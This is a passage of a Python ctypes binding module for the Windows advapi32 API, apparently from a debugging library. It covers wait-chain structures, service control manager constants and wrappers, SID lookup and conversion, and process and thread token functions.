object status WctStatusAbandoned = 8 # Dispatcher object status WctStatusUnknown = 9 # All objects WctStatusError = 10 # All objects WctStatusMax = 11 # typedef struct _WAITCHAIN_NODE_INFO { # WCT_OBJECT_TYPE ObjectType; # WCT_OBJECT_STATUS ObjectStatus; # union { # struct { # WCHAR ObjectName[WCT_OBJNAME_LENGTH]; # LARGE_INTEGER Timeout; # BOOL Alertable; # } LockObject; # struct { # DWORD ProcessId; # DWORD ThreadId; # DWORD WaitTime; # DWORD ContextSwitches; # } ThreadObject; # } ; # }WAITCHAIN_NODE_INFO, *PWAITCHAIN_NODE_INFO; class _WAITCHAIN_NODE_INFO_STRUCT_1(Structure): _fields_ = [ ("ObjectName", WCHAR * WCT_OBJNAME_LENGTH), ("Timeout", LONGLONG), # LARGE_INTEGER ("Alertable", BOOL), ] class _WAITCHAIN_NODE_INFO_STRUCT_2(Structure): _fields_ = [ ("ProcessId", DWORD), ("ThreadId", DWORD), ("WaitTime", DWORD), ("ContextSwitches", DWORD), ] class _WAITCHAIN_NODE_INFO_UNION(Union): _fields_ = [ ("LockObject", _WAITCHAIN_NODE_INFO_STRUCT_1), ("ThreadObject", _WAITCHAIN_NODE_INFO_STRUCT_2), ] class WAITCHAIN_NODE_INFO(Structure): _fields_ = [ ("ObjectType", WCT_OBJECT_TYPE), ("ObjectStatus", WCT_OBJECT_STATUS), ("u", _WAITCHAIN_NODE_INFO_UNION), ] PWAITCHAIN_NODE_INFO = POINTER(WAITCHAIN_NODE_INFO) class WaitChainNodeInfo (object): """ Represents a node in the wait chain. It's a wrapper on the L{WAITCHAIN_NODE_INFO} structure. The following members are defined only if the node is of L{WctThreadType} type: - C{ProcessId} - C{ThreadId} - C{WaitTime} - C{ContextSwitches} @see: L{GetThreadWaitChain} @type ObjectName: unicode @ivar ObjectName: Object name. May be an empty string. @type ObjectType: int @ivar ObjectType: Object type. Should be one of the following values: - L{WctCriticalSectionType} - L{WctSendMessageType} - L{WctMutexType} - L{WctAlpcType} - L{WctComType} - L{WctThreadWaitType} - L{WctProcessWaitType} - L{WctThreadType} - L{WctComActivationType} - L{WctUnknownType} @type ObjectStatus: int @ivar ObjectStatus: Wait status. Should be one of the following values: - L{WctStatusNoAccess} I{(ACCESS_DENIED for this object)} - L{WctStatusRunning} I{(Thread status)} - L{WctStatusBlocked} I{(Thread status)} - L{WctStatusPidOnly} I{(Thread status)} - L{WctStatusPidOnlyRpcss} I{(Thread status)} - L{WctStatusOwned} I{(Dispatcher object status)} - L{WctStatusNotOwned} I{(Dispatcher object status)} - L{WctStatusAbandoned} I{(Dispatcher object status)} - L{WctStatusUnknown} I{(All objects)} - L{WctStatusError} I{(All objects)} @type ProcessId: int @ivar ProcessId: Process global ID. @type ThreadId: int @ivar ThreadId: Thread global ID. @type WaitTime: int @ivar WaitTime: Wait time. @type ContextSwitches: int @ivar ContextSwitches: Number of context switches. """ #@type Timeout: int #@ivar Timeout: Currently not documented in MSDN. # #@type Alertable: bool #@ivar Alertable: Currently not documented in MSDN. # TODO: __repr__ def __init__(self, aStructure): self.ObjectType = aStructure.ObjectType self.ObjectStatus = aStructure.ObjectStatus if self.ObjectType == WctThreadType: self.ProcessId = aStructure.u.ThreadObject.ProcessId self.ThreadId = aStructure.u.ThreadObject.ThreadId self.WaitTime = aStructure.u.ThreadObject.WaitTime self.ContextSwitches = aStructure.u.ThreadObject.ContextSwitches self.ObjectName = u'' else: self.ObjectName = aStructure.u.LockObject.ObjectName.value #self.Timeout = aStructure.u.LockObject.Timeout #self.Alertable = bool(aStructure.u.LockObject.Alertable) class ThreadWaitChainSessionHANDLE (HANDLE): """ Thread wait chain session handle. Returned by L{OpenThreadWaitChainSession}. @see: L{HANDLE} """ def __init__(self, aHANDLE = None): """ @type aHANDLE: int @param aHANDLE: Win32 handle value. """ super(ThreadWaitChainSessionHANDLE, self).__init__(aHANDLE, bOwnership = True) def _close(self): if self.value is None: raise ValueError("HANDLE was already closed!") CloseThreadWaitChainSession(self.value) def dup(self): raise NotImplementedError() def wait(self, dwMilliseconds = None): raise NotImplementedError() @property def inherit(self): return False @property def protectFromClose(self): return False #--- Privilege dropping ------------------------------------------------------- SAFER_LEVEL_HANDLE = HANDLE SAFER_SCOPEID_MACHINE = 1 SAFER_SCOPEID_USER = 2 SAFER_LEVEL_OPEN = 1 SAFER_LEVELID_DISALLOWED = 0x00000 SAFER_LEVELID_UNTRUSTED = 0x01000 SAFER_LEVELID_CONSTRAINED = 0x10000 SAFER_LEVELID_NORMALUSER = 0x20000 SAFER_LEVELID_FULLYTRUSTED = 0x40000 SAFER_POLICY_INFO_CLASS = DWORD SaferPolicyLevelList = 1 SaferPolicyEnableTransparentEnforcement = 2 SaferPolicyDefaultLevel = 3 SaferPolicyEvaluateUserScope = 4 SaferPolicyScopeFlags = 5 SAFER_TOKEN_NULL_IF_EQUAL = 1 SAFER_TOKEN_COMPARE_ONLY = 2 SAFER_TOKEN_MAKE_INERT = 4 SAFER_TOKEN_WANT_FLAGS = 8 SAFER_TOKEN_MASK = 15 #--- Service Control Manager types, constants and structures ------------------ SC_HANDLE = HANDLE SERVICES_ACTIVE_DATABASEW = u"ServicesActive" SERVICES_FAILED_DATABASEW = u"ServicesFailed" SERVICES_ACTIVE_DATABASEA = "ServicesActive" SERVICES_FAILED_DATABASEA = "ServicesFailed" SC_GROUP_IDENTIFIERW = u'+' SC_GROUP_IDENTIFIERA = '+' SERVICE_NO_CHANGE = 0xffffffff # enum SC_STATUS_TYPE SC_STATUS_TYPE = ctypes.c_int SC_STATUS_PROCESS_INFO = 0 # enum SC_ENUM_TYPE SC_ENUM_TYPE = ctypes.c_int SC_ENUM_PROCESS_INFO = 0 # Access rights # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx SERVICE_ALL_ACCESS = 0xF01FF SERVICE_QUERY_CONFIG = 0x0001 SERVICE_CHANGE_CONFIG = 0x0002 SERVICE_QUERY_STATUS = 0x0004 SERVICE_ENUMERATE_DEPENDENTS = 0x0008 SERVICE_START = 0x0010 SERVICE_STOP = 0x0020 SERVICE_PAUSE_CONTINUE = 0x0040 SERVICE_INTERROGATE = 0x0080 SERVICE_USER_DEFINED_CONTROL = 0x0100 SC_MANAGER_ALL_ACCESS = 0xF003F SC_MANAGER_CONNECT = 0x0001 SC_MANAGER_CREATE_SERVICE = 0x0002 SC_MANAGER_ENUMERATE_SERVICE = 0x0004 SC_MANAGER_LOCK = 0x0008 SC_MANAGER_QUERY_LOCK_STATUS = 0x0010 SC_MANAGER_MODIFY_BOOT_CONFIG = 0x0020 # CreateService() service start type SERVICE_BOOT_START = 0x00000000 SERVICE_SYSTEM_START = 0x00000001 SERVICE_AUTO_START = 0x00000002 SERVICE_DEMAND_START = 0x00000003 SERVICE_DISABLED = 0x00000004 # CreateService() error control flags SERVICE_ERROR_IGNORE = 0x00000000 SERVICE_ERROR_NORMAL = 0x00000001 SERVICE_ERROR_SEVERE = 0x00000002 SERVICE_ERROR_CRITICAL = 0x00000003 # EnumServicesStatusEx() service state filters SERVICE_ACTIVE = 1 SERVICE_INACTIVE = 2 SERVICE_STATE_ALL = 3 # SERVICE_STATUS_PROCESS.dwServiceType SERVICE_KERNEL_DRIVER = 0x00000001 SERVICE_FILE_SYSTEM_DRIVER = 0x00000002 SERVICE_ADAPTER = 0x00000004 SERVICE_RECOGNIZER_DRIVER = 0x00000008 SERVICE_WIN32_OWN_PROCESS = 0x00000010 SERVICE_WIN32_SHARE_PROCESS = 0x00000020 SERVICE_INTERACTIVE_PROCESS = 0x00000100 # EnumServicesStatusEx() service type filters (in addition to actual types) SERVICE_DRIVER = 0x0000000B # SERVICE_KERNEL_DRIVER and SERVICE_FILE_SYSTEM_DRIVER SERVICE_WIN32 = 0x00000030 # SERVICE_WIN32_OWN_PROCESS and SERVICE_WIN32_SHARE_PROCESS # SERVICE_STATUS_PROCESS.dwCurrentState SERVICE_STOPPED = 0x00000001 SERVICE_START_PENDING = 0x00000002 SERVICE_STOP_PENDING = 0x00000003 SERVICE_RUNNING = 0x00000004 SERVICE_CONTINUE_PENDING = 0x00000005 SERVICE_PAUSE_PENDING = 0x00000006 SERVICE_PAUSED = 0x00000007 # SERVICE_STATUS_PROCESS.dwControlsAccepted SERVICE_ACCEPT_STOP = 0x00000001 SERVICE_ACCEPT_PAUSE_CONTINUE = 0x00000002 SERVICE_ACCEPT_SHUTDOWN = 0x00000004 SERVICE_ACCEPT_PARAMCHANGE = 0x00000008 SERVICE_ACCEPT_NETBINDCHANGE = 0x00000010 SERVICE_ACCEPT_HARDWAREPROFILECHANGE = 0x00000020 SERVICE_ACCEPT_POWEREVENT = 0x00000040 SERVICE_ACCEPT_SESSIONCHANGE = 0x00000080 SERVICE_ACCEPT_PRESHUTDOWN = 0x00000100 # SERVICE_STATUS_PROCESS.dwServiceFlags SERVICE_RUNS_IN_SYSTEM_PROCESS = 0x00000001 # Service control flags SERVICE_CONTROL_STOP = 0x00000001 SERVICE_CONTROL_PAUSE = 0x00000002 SERVICE_CONTROL_CONTINUE = 0x00000003 SERVICE_CONTROL_INTERROGATE = 0x00000004 SERVICE_CONTROL_SHUTDOWN = 0x00000005 SERVICE_CONTROL_PARAMCHANGE = 0x00000006 SERVICE_CONTROL_NETBINDADD = 0x00000007 SERVICE_CONTROL_NETBINDREMOVE = 0x00000008 SERVICE_CONTROL_NETBINDENABLE = 0x00000009 SERVICE_CONTROL_NETBINDDISABLE = 0x0000000A SERVICE_CONTROL_DEVICEEVENT = 0x0000000B SERVICE_CONTROL_HARDWAREPROFILECHANGE = 0x0000000C SERVICE_CONTROL_POWEREVENT = 0x0000000D SERVICE_CONTROL_SESSIONCHANGE = 0x0000000E # Service control accepted bitmasks SERVICE_ACCEPT_STOP = 0x00000001 SERVICE_ACCEPT_PAUSE_CONTINUE = 0x00000002 SERVICE_ACCEPT_SHUTDOWN = 0x00000004 SERVICE_ACCEPT_PARAMCHANGE = 0x00000008 SERVICE_ACCEPT_NETBINDCHANGE = 0x00000010 SERVICE_ACCEPT_HARDWAREPROFILECHANGE = 0x00000020 SERVICE_ACCEPT_POWEREVENT = 0x00000040 SERVICE_ACCEPT_SESSIONCHANGE = 0x00000080 SERVICE_ACCEPT_PRESHUTDOWN = 0x00000100 SERVICE_ACCEPT_TIMECHANGE = 0x00000200 SERVICE_ACCEPT_TRIGGEREVENT = 0x00000400 SERVICE_ACCEPT_USERMODEREBOOT = 0x00000800 # enum SC_ACTION_TYPE SC_ACTION_NONE = 0 SC_ACTION_RESTART = 1 SC_ACTION_REBOOT = 2 SC_ACTION_RUN_COMMAND = 3 # QueryServiceConfig2 SERVICE_CONFIG_DESCRIPTION = 1 SERVICE_CONFIG_FAILURE_ACTIONS = 2 # typedef struct _SERVICE_STATUS { # DWORD dwServiceType; # DWORD dwCurrentState; # DWORD dwControlsAccepted; # DWORD dwWin32ExitCode; # DWORD dwServiceSpecificExitCode; # DWORD dwCheckPoint; # DWORD dwWaitHint; # } SERVICE_STATUS, *LPSERVICE_STATUS; class SERVICE_STATUS(Structure): _fields_ = [ ("dwServiceType", DWORD), ("dwCurrentState", DWORD), ("dwControlsAccepted", DWORD), ("dwWin32ExitCode", DWORD), ("dwServiceSpecificExitCode", DWORD), ("dwCheckPoint", DWORD), ("dwWaitHint", DWORD), ] LPSERVICE_STATUS = POINTER(SERVICE_STATUS) # typedef struct _SERVICE_STATUS_PROCESS { # DWORD dwServiceType; # DWORD dwCurrentState; # DWORD dwControlsAccepted; # DWORD dwWin32ExitCode; # DWORD dwServiceSpecificExitCode; # DWORD dwCheckPoint; # DWORD dwWaitHint; # DWORD dwProcessId; # DWORD dwServiceFlags; # } SERVICE_STATUS_PROCESS, *LPSERVICE_STATUS_PROCESS; class SERVICE_STATUS_PROCESS(Structure): _fields_ = SERVICE_STATUS._fields_ + [ ("dwProcessId", DWORD), ("dwServiceFlags", DWORD), ] LPSERVICE_STATUS_PROCESS = POINTER(SERVICE_STATUS_PROCESS) # typedef struct _ENUM_SERVICE_STATUS { # LPTSTR lpServiceName; # LPTSTR lpDisplayName; # SERVICE_STATUS ServiceStatus; # } ENUM_SERVICE_STATUS, *LPENUM_SERVICE_STATUS; class ENUM_SERVICE_STATUSA(Structure): _fields_ = [ ("lpServiceName", LPSTR), ("lpDisplayName", LPSTR), ("ServiceStatus", SERVICE_STATUS), ] class ENUM_SERVICE_STATUSW(Structure): _fields_ = [ ("lpServiceName", LPWSTR), ("lpDisplayName", LPWSTR), ("ServiceStatus", SERVICE_STATUS), ] LPENUM_SERVICE_STATUSA = POINTER(ENUM_SERVICE_STATUSA) LPENUM_SERVICE_STATUSW = POINTER(ENUM_SERVICE_STATUSW) # typedef struct _ENUM_SERVICE_STATUS_PROCESS { # LPTSTR lpServiceName; # LPTSTR lpDisplayName; # SERVICE_STATUS_PROCESS ServiceStatusProcess; # } ENUM_SERVICE_STATUS_PROCESS, *LPENUM_SERVICE_STATUS_PROCESS; class ENUM_SERVICE_STATUS_PROCESSA(Structure): _fields_ = [ ("lpServiceName", LPSTR), ("lpDisplayName", LPSTR), ("ServiceStatusProcess", SERVICE_STATUS_PROCESS), ] class ENUM_SERVICE_STATUS_PROCESSW(Structure): _fields_ = [ ("lpServiceName", LPWSTR), ("lpDisplayName", LPWSTR), ("ServiceStatusProcess", SERVICE_STATUS_PROCESS), ] LPENUM_SERVICE_STATUS_PROCESSA = POINTER(ENUM_SERVICE_STATUS_PROCESSA) LPENUM_SERVICE_STATUS_PROCESSW = POINTER(ENUM_SERVICE_STATUS_PROCESSW) class ServiceStatus(object): """ Wrapper for the L{SERVICE_STATUS} structure. """ def __init__(self, raw): """ @type raw: L{SERVICE_STATUS} @param raw: Raw structure for this service status data. """ self.ServiceType = raw.dwServiceType self.CurrentState = raw.dwCurrentState self.ControlsAccepted = raw.dwControlsAccepted self.Win32ExitCode = raw.dwWin32ExitCode self.ServiceSpecificExitCode = raw.dwServiceSpecificExitCode self.CheckPoint = raw.dwCheckPoint self.WaitHint = raw.dwWaitHint class ServiceStatusProcess(object): """ Wrapper for the L{SERVICE_STATUS_PROCESS} structure. """ def __init__(self, raw): """ @type raw: L{SERVICE_STATUS_PROCESS} @param raw: Raw structure for this service status data. """ self.ServiceType = raw.dwServiceType self.CurrentState = raw.dwCurrentState self.ControlsAccepted = raw.dwControlsAccepted self.Win32ExitCode = raw.dwWin32ExitCode self.ServiceSpecificExitCode = raw.dwServiceSpecificExitCode self.CheckPoint = raw.dwCheckPoint self.WaitHint = raw.dwWaitHint self.ProcessId = raw.dwProcessId self.ServiceFlags = raw.dwServiceFlags class ServiceStatusEntry(object): """ Service status entry returned by L{EnumServicesStatus}. """ def __init__(self, raw): """ @type raw: L{ENUM_SERVICE_STATUSA} or L{ENUM_SERVICE_STATUSW} @param raw: Raw structure for this service status entry. """ self.ServiceName = raw.lpServiceName self.DisplayName = raw.lpDisplayName self.ServiceType = raw.ServiceStatus.dwServiceType self.CurrentState = raw.ServiceStatus.dwCurrentState self.ControlsAccepted = raw.ServiceStatus.dwControlsAccepted self.Win32ExitCode = raw.ServiceStatus.dwWin32ExitCode self.ServiceSpecificExitCode = raw.ServiceStatus.dwServiceSpecificExitCode self.CheckPoint = raw.ServiceStatus.dwCheckPoint self.WaitHint = raw.ServiceStatus.dwWaitHint def __str__(self): output = [] if self.ServiceType & SERVICE_INTERACTIVE_PROCESS: output.append("Interactive service") else: output.append("Service") if self.DisplayName: output.append("\"%s\" (%s)" % (self.DisplayName, self.ServiceName)) else: output.append("\"%s\"" % self.ServiceName) if self.CurrentState == SERVICE_CONTINUE_PENDING: output.append("is about to continue.") elif self.CurrentState == SERVICE_PAUSE_PENDING: output.append("is pausing.") elif self.CurrentState == SERVICE_PAUSED: output.append("is paused.") elif self.CurrentState == SERVICE_RUNNING: output.append("is running.") elif self.CurrentState == SERVICE_START_PENDING: output.append("is starting.") elif self.CurrentState == SERVICE_STOP_PENDING: output.append("is stopping.") elif self.CurrentState == SERVICE_STOPPED: output.append("is stopped.") return " ".join(output) class ServiceStatusProcessEntry(object): """ Service status entry returned by L{EnumServicesStatusEx}. """ def __init__(self, raw): """ @type raw: L{ENUM_SERVICE_STATUS_PROCESSA} or L{ENUM_SERVICE_STATUS_PROCESSW} @param raw: Raw structure for this service status entry. """ self.ServiceName = raw.lpServiceName self.DisplayName = raw.lpDisplayName self.ServiceType = raw.ServiceStatusProcess.dwServiceType self.CurrentState = raw.ServiceStatusProcess.dwCurrentState self.ControlsAccepted = raw.ServiceStatusProcess.dwControlsAccepted self.Win32ExitCode = raw.ServiceStatusProcess.dwWin32ExitCode self.ServiceSpecificExitCode = raw.ServiceStatusProcess.dwServiceSpecificExitCode self.CheckPoint = raw.ServiceStatusProcess.dwCheckPoint self.WaitHint = raw.ServiceStatusProcess.dwWaitHint self.ProcessId = raw.ServiceStatusProcess.dwProcessId self.ServiceFlags = raw.ServiceStatusProcess.dwServiceFlags def __str__(self): output = [] if self.ServiceType & SERVICE_INTERACTIVE_PROCESS: output.append("Interactive service ") else: output.append("Service ") if self.DisplayName: output.append("\"%s\" (%s)" % (self.DisplayName, self.ServiceName)) else: output.append("\"%s\"" % self.ServiceName) if self.CurrentState == SERVICE_CONTINUE_PENDING: output.append(" is about to continue") elif self.CurrentState == SERVICE_PAUSE_PENDING: output.append(" is pausing") elif self.CurrentState == SERVICE_PAUSED: output.append(" is paused") elif self.CurrentState == SERVICE_RUNNING: output.append(" is running") elif self.CurrentState == SERVICE_START_PENDING: output.append(" is starting") elif self.CurrentState == SERVICE_STOP_PENDING: output.append(" is stopping") elif self.CurrentState == SERVICE_STOPPED: output.append(" is stopped") if self.ProcessId: output.append(" at process %d" % self.ProcessId) output.append(".") return "".join(output) #--- HANDLE wrappers ---------------------------------------------------------- # XXX maybe add functions related to the tokens here? class TokenHandle (HANDLE): """ Access token handle. @see: L{HANDLE} """ pass class RegistryKeyHandle (UserModeHandle): """ Registry key handle. """ _TYPE = HKEY def _close(self): RegCloseKey(self.value) class SaferLevelHandle (UserModeHandle): """ Safer level handle. @see: U{http://msdn.microsoft.com/en-us/library/ms722425(VS.85).aspx} """ _TYPE = SAFER_LEVEL_HANDLE def _close(self): SaferCloseLevel(self.value) class ServiceHandle (UserModeHandle): """ Service handle. @see: U{http://msdn.microsoft.com/en-us/library/windows/desktop/ms684330(v=vs.85).aspx} """ _TYPE = SC_HANDLE def _close(self): CloseServiceHANDLE(self.value) class ServiceControlManagerHandle (UserModeHandle): """ Service Control Manager (SCM) handle. @see: U{http://msdn.microsoft.com/en-us/library/windows/desktop/ms684323(v=vs.85).aspx} """ _TYPE = SC_HANDLE def _close(self): CloseServiceHANDLE(self.value) #--- advapi32.dll ------------------------------------------------------------- # BOOL WINAPI GetUserName( # __out LPTSTR lpBuffer, # __inout LPDWORD lpnSize # ); def GetUserNameA(): _GetUserNameA = windll.advapi32.GetUserNameA _GetUserNameA.argtypes = [LPSTR, LPDWORD] _GetUserNameA.restype = bool nSize = DWORD(0) _GetUserNameA(None, byref(nSize)) error = GetLastError() if error != ERROR_INSUFFICIENT_BUFFER: raise ctypes.WinError(error) lpBuffer = ctypes.create_string_buffer('', nSize.value + 1) success = _GetUserNameA(lpBuffer, byref(nSize)) if not success: raise ctypes.WinError() return lpBuffer.value def GetUserNameW(): _GetUserNameW = windll.advapi32.GetUserNameW _GetUserNameW.argtypes = [LPWSTR, LPDWORD] _GetUserNameW.restype = bool nSize = DWORD(0) _GetUserNameW(None, byref(nSize)) error = GetLastError() if error != ERROR_INSUFFICIENT_BUFFER: raise ctypes.WinError(error) lpBuffer = ctypes.create_unicode_buffer(u'', nSize.value + 1) success = _GetUserNameW(lpBuffer, byref(nSize)) if not success: raise ctypes.WinError() return lpBuffer.value GetUserName = DefaultStringType(GetUserNameA, GetUserNameW) # BOOL WINAPI LookupAccountName( # __in_opt LPCTSTR lpSystemName, # __in LPCTSTR lpAccountName, # __out_opt PSID Sid, # __inout LPDWORD cbSid, # __out_opt LPTSTR ReferencedDomainName, # __inout LPDWORD cchReferencedDomainName, # __out PSID_NAME_USE peUse # ); def LookupAccountNameA(lpSystemName, lpAccountName): _LookupAccountNameA = windll.advapi32.LookupAccountNameA _LookupAccountNameA.argtypes = [LPSTR, LPSTR, PSID, LPDWORD, LPSTR, LPDWORD, LPDWORD] _LookupAccountNameA.restype = BOOL cbSid = DWORD(0) cchReferencedDomainName = DWORD(0) peUse = DWORD(0) _LookupAccountNameA(lpSystemName, lpAccountName, None, byref(cbSid), None, byref(cchReferencedDomainName), byref(peUse)) error = GetLastError() if error != ERROR_INSUFFICIENT_BUFFER: raise(ctypes.WinError(error)) sid = ctypes.create_string_buffer('', cbSid.value) psid = ctypes.cast(ctypes.pointer(sid), PSID) lpReferencedDomainName = ctypes.create_string_buffer('', cchReferencedDomainName.value + 1) success = _LookupAccountNameA(lpSystemName, lpAccountName, psid, byref(cbSid), lpReferencedDomainName, byref(cchReferencedDomainName), byref(peUse)) if not success: raise ctypes.WinError() return psid, lpReferencedDomainName.value, peUse.value def LookupAccountNameW(lpSystemName, lpAccountName): _LookupAccountNameW = windll.advapi32.LookupAccountNameW _LookupAccountNameW.argtypes = [LPWSTR, LPWSTR, PSID, LPDWORD, LPWSTR, LPDWORD, LPDWORD] _LookupAccountNameW.restype = BOOL cbSid = DWORD(0) cchReferencedDomainName = DWORD(0) peUse = DWORD(0) _LookupAccountNameW(lpSystemName, lpAccountName, None, byref(cbSid), None, byref(cchReferencedDomainName), byref(peUse)) error = GetLastError() if error != ERROR_INSUFFICIENT_BUFFER: raise(ctypes.WinError(error)) sid = ctypes.create_string_buffer('', cbSid.value) psid = ctypes.cast(ctypes.pointer(sid), PSID) lpReferencedDomainName = ctypes.create_unicode_buffer(u'', cchReferencedDomainName.value + 1) success = _LookupAccountNameW(lpSystemName, lpAccountName, psid, byref(cbSid), lpReferencedDomainName, byref(cchReferencedDomainName), byref(peUse)) if not success: raise ctypes.WinError() return psid, lpReferencedDomainName.value, peUse.value LookupAccountName = GuessStringType(LookupAccountNameA, LookupAccountNameW) # BOOL WINAPI LookupAccountSid( # __in_opt LPCTSTR lpSystemName, # __in PSID lpSid, # __out_opt LPTSTR lpName, # __inout LPDWORD cchName, # __out_opt LPTSTR lpReferencedDomainName, # __inout LPDWORD cchReferencedDomainName, # __out PSID_NAME_USE peUse # ); def LookupAccountSidA(lpSystemName, lpSid): _LookupAccountSidA = windll.advapi32.LookupAccountSidA _LookupAccountSidA.argtypes = [LPSTR, PSID, LPSTR, LPDWORD, LPSTR, LPDWORD, LPDWORD] _LookupAccountSidA.restype = bool cchName = DWORD(0) cchReferencedDomainName = DWORD(0) peUse = DWORD(0) _LookupAccountSidA(lpSystemName, lpSid, None, byref(cchName), None, byref(cchReferencedDomainName), byref(peUse)) error = GetLastError() if error != ERROR_INSUFFICIENT_BUFFER: raise ctypes.WinError(error) lpName = ctypes.create_string_buffer('', cchName + 1) lpReferencedDomainName = ctypes.create_string_buffer('', cchReferencedDomainName + 1) success = _LookupAccountSidA(lpSystemName, lpSid, lpName, byref(cchName), lpReferencedDomainName, byref(cchReferencedDomainName), byref(peUse)) if not success: raise ctypes.WinError() return lpName.value, lpReferencedDomainName.value, peUse.value def LookupAccountSidW(lpSystemName, lpSid): _LookupAccountSidW = windll.advapi32.LookupAccountSidW _LookupAccountSidW.argtypes = [LPSTR, PSID, LPWSTR, LPDWORD, LPWSTR, LPDWORD, LPDWORD] _LookupAccountSidW.restype = bool cchName = DWORD(0) cchReferencedDomainName = DWORD(0) peUse = DWORD(0) _LookupAccountSidW(lpSystemName, lpSid, None, byref(cchName), None, byref(cchReferencedDomainName), byref(peUse)) error = GetLastError() if error != ERROR_INSUFFICIENT_BUFFER: raise ctypes.WinError(error) lpName = ctypes.create_unicode_buffer(u'', cchName.value + 1) lpReferencedDomainName = ctypes.create_unicode_buffer(u'', cchReferencedDomainName.value + 1) success = _LookupAccountSidW(lpSystemName, lpSid, lpName, byref(cchName), lpReferencedDomainName, byref(cchReferencedDomainName), byref(peUse)) if not success: raise ctypes.WinError() return lpName.value, lpReferencedDomainName.value, peUse.value LookupAccountSid = GuessStringType(LookupAccountSidA, LookupAccountSidW) # BOOL ConvertSidToStringSid( # __in PSID Sid, # __out LPTSTR *StringSid # ); def ConvertSidToStringSidA(Sid): _ConvertSidToStringSidA = windll.advapi32.ConvertSidToStringSidA _ConvertSidToStringSidA.argtypes = [PSID, POINTER(LPSTR)] _ConvertSidToStringSidA.restype = bool _ConvertSidToStringSidA.errcheck = RaiseIfZero pStringSid = LPSTR() _ConvertSidToStringSidA(Sid, byref(pStringSid)) try: StringSid = pStringSid.value finally: LocalFree(pStringSid) return StringSid.decode() def ConvertSidToStringSidW(Sid): _ConvertSidToStringSidW = windll.advapi32.ConvertSidToStringSidW _ConvertSidToStringSidW.argtypes = [PSID, POINTER(LPWSTR)] _ConvertSidToStringSidW.restype = bool _ConvertSidToStringSidW.errcheck = RaiseIfZero pStringSid = LPWSTR() _ConvertSidToStringSidW(Sid, byref(pStringSid)) try: StringSid = pStringSid.value finally: LocalFree(pStringSid) return StringSid ConvertSidToStringSid = DefaultStringType(ConvertSidToStringSidA, ConvertSidToStringSidW) # BOOL WINAPI ConvertStringSidToSid( # __in LPCTSTR StringSid, # __out PSID *Sid # ); def ConvertStringSidToSidA(StringSid): _ConvertStringSidToSidA = windll.advapi32.ConvertStringSidToSidA _ConvertStringSidToSidA.argtypes = [LPSTR, PVOID] _ConvertStringSidToSidA.restype = bool _ConvertStringSidToSidA.errcheck = RaiseIfZero Sid = PVOID() _ConvertStringSidToSidA(StringSid, ctypes.pointer(Sid)) return Sid.value def ConvertStringSidToSidW(StringSid): _ConvertStringSidToSidW = windll.advapi32.ConvertStringSidToSidW _ConvertStringSidToSidW.argtypes = [LPWSTR, PVOID] _ConvertStringSidToSidW.restype = bool _ConvertStringSidToSidW.errcheck = RaiseIfZero Sid = PVOID() _ConvertStringSidToSidW(StringSid, ctypes.pointer(Sid)) return Sid.value ConvertStringSidToSid = GuessStringType(ConvertStringSidToSidA, ConvertStringSidToSidW) # BOOL WINAPI IsValidSid( # __in PSID pSid # ); def IsValidSid(pSid): _IsValidSid = windll.advapi32.IsValidSid _IsValidSid.argtypes = [PSID] _IsValidSid.restype = bool return _IsValidSid(pSid) # BOOL WINAPI EqualSid( # __in PSID pSid1, # __in PSID pSid2 # ); def EqualSid(pSid1, pSid2): _EqualSid = windll.advapi32.EqualSid _EqualSid.argtypes = [PSID, PSID] _EqualSid.restype = bool return _EqualSid(pSid1, pSid2) # DWORD WINAPI GetLengthSid( # __in PSID pSid # ); def GetLengthSid(pSid): _GetLengthSid = windll.advapi32.GetLengthSid _GetLengthSid.argtypes = [PSID] _GetLengthSid.restype = DWORD return _GetLengthSid(pSid) # BOOL WINAPI CopySid( # __in DWORD nDestinationSidLength, # __out PSID pDestinationSid, # __in PSID pSourceSid # ); def CopySid(pSourceSid): _CopySid = windll.advapi32.CopySid _CopySid.argtypes = [DWORD, PVOID, PSID] _CopySid.restype = bool _CopySid.errcheck = RaiseIfZero nDestinationSidLength = GetLengthSid(pSourceSid) DestinationSid = ctypes.create_string_buffer('', nDestinationSidLength) pDestinationSid = ctypes.cast(ctypes.pointer(DestinationSid), PVOID) _CopySid(nDestinationSidLength, pDestinationSid, pSourceSid) return ctypes.cast(pDestinationSid, PSID) # PVOID WINAPI FreeSid( # __in PSID pSid # ); def FreeSid(pSid): _FreeSid = windll.advapi32.FreeSid _FreeSid.argtypes = [PSID] _FreeSid.restype = PSID _FreeSid.errcheck = RaiseIfNotZero _FreeSid(pSid) # BOOL WINAPI OpenProcessToken( # __in HANDLE ProcessHANDLE, # __in DWORD DesiredAccess, # __out PHANDLE TokenHandle # ); def OpenProcessToken(ProcessHANDLE, DesiredAccess = TOKEN_ALL_ACCESS): _OpenProcessToken = windll.advapi32.OpenProcessToken _OpenProcessToken.argtypes = [HANDLE, DWORD, PHANDLE] _OpenProcessToken.restype = bool _OpenProcessToken.errcheck = RaiseIfZero NewTokenHandle = HANDLE(INVALID_HANDLE_VALUE) _OpenProcessToken(ProcessHANDLE, DesiredAccess, byref(NewTokenHandle)) return TokenHandle(NewTokenHandle.value) # BOOL WINAPI OpenThreadToken( # __in HANDLE ThreadHANDLE, # __in DWORD DesiredAccess, # __in BOOL OpenAsSelf, # __out PHANDLE TokenHandle # ); def OpenThreadToken(ThreadHANDLE, DesiredAccess, OpenAsSelf = True): _OpenThreadToken = windll.advapi32.OpenThreadToken _OpenThreadToken.argtypes = [HANDLE, DWORD, BOOL, PHANDLE] _OpenThreadToken.restype = bool _OpenThreadToken.errcheck = RaiseIfZero NewTokenHandle = HANDLE(INVALID_HANDLE_VALUE) _OpenThreadToken(ThreadHANDLE, DesiredAccess, OpenAsSelf, byref(NewTokenHandle)) return TokenHandle(NewTokenHandle.value) # BOOL WINAPI DuplicateToken( # _In_ HANDLE ExistingTokenHandle, # _In_ SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, # _Out_ PHANDLE DuplicateTokenHandle # ); def DuplicateToken(ExistingTokenHandle, ImpersonationLevel = SecurityImpersonation): _DuplicateToken = windll.advapi32.DuplicateToken _DuplicateToken.argtypes = [HANDLE, SECURITY_IMPERSONATION_LEVEL, PHANDLE] _DuplicateToken.restype = bool _DuplicateToken.errcheck = RaiseIfZero DuplicateTokenHandle = HANDLE(INVALID_HANDLE_VALUE) _DuplicateToken(ExistingTokenHandle, ImpersonationLevel, byref(DuplicateTokenHandle)) return TokenHandle(DuplicateTokenHandle.value) # BOOL WINAPI DuplicateTokenEx( # _In_ HANDLE hExistingToken, # _In_ DWORD 